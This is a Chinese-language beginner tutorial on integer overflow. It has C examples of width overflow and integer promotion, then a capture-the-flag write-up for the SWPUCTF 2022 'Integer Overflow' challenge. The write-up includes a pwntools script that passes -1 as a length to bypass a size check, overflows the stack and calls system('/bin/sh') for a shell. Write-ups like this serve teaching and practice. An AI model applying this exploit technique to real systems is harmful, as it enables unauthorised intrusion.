PWN入门-整数溢出

基础知识

宽度溢出&整形提升

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <cstdio>
void main(void){
int l=0xabcddcba;
short s=l;
char c=l;
//宽度溢出
printf("l=0x%x(%d bits)\n",l,sizeof(l)*8);
printf("s=0x%x(%d bits)\n",s,sizeof(s)*8);
printf("c=0x%x(%d bits)\n",c,sizeof(c)*8);
//整形提升
printf("s+c=0x%x(%d bits)\n",s+c,sizeof(s+c)*8);
return 0;
};
/*
l=0xabcddcba(32 bits)
s=0xffffdcba(16 bits)
c=0xffffffba(8 bits)
s+c=0xffffdc74(32 bits)
*/

做题

[SWPUCTF 2022 新生赛]Integer Overflow

看到整数溢出点为size_t类型,该类型在x86架构下相当于unsigned int,在x64下相当于unsigned long long int。输入“-1”,即nbytes[0]为0xFFFFFFFF,相当于符号位为1,当然不大于10。

这里看到PLT表段命名为“.plt.sec”,即CET-IBT机制开启,缓解COP/JOP攻击。endbr32汇编指令为了保证是从正确的位置跳转到正确的位置,但这里没有发挥作用。

看到函数pwn_me中,system没法用,但看他调用方法为push传参。正常情况下,push参数后call _system需要push eip,所以在system地址和shellcode之间随便搞一个数覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(log_level='debug',os='linux',arch='i386')
p=remote("node5.anna.nssctf.cn",28564)
elf=ELF("./attachment")
p.recvuntil("Tell me your choice:")
p.sendline(b'1')
p.recvuntil("First input the length of your name:")
p.sendline(b'-1')
p.recvuntil("\x1B[36m What's u name?\n\x1B[0m")
stack_overflow=cyclic(0x20+4)
system_addr=p32(elf.sym["system"])
rip_padding=p32(0)
str_bin_sh_addr=p32(next(elf.search(b'/bin/sh\x00')))
payload1=flat([stack_overflow,system_addr,rip_padding,str_bin_sh_addr])
p.sendline(payload1)
p.interactive()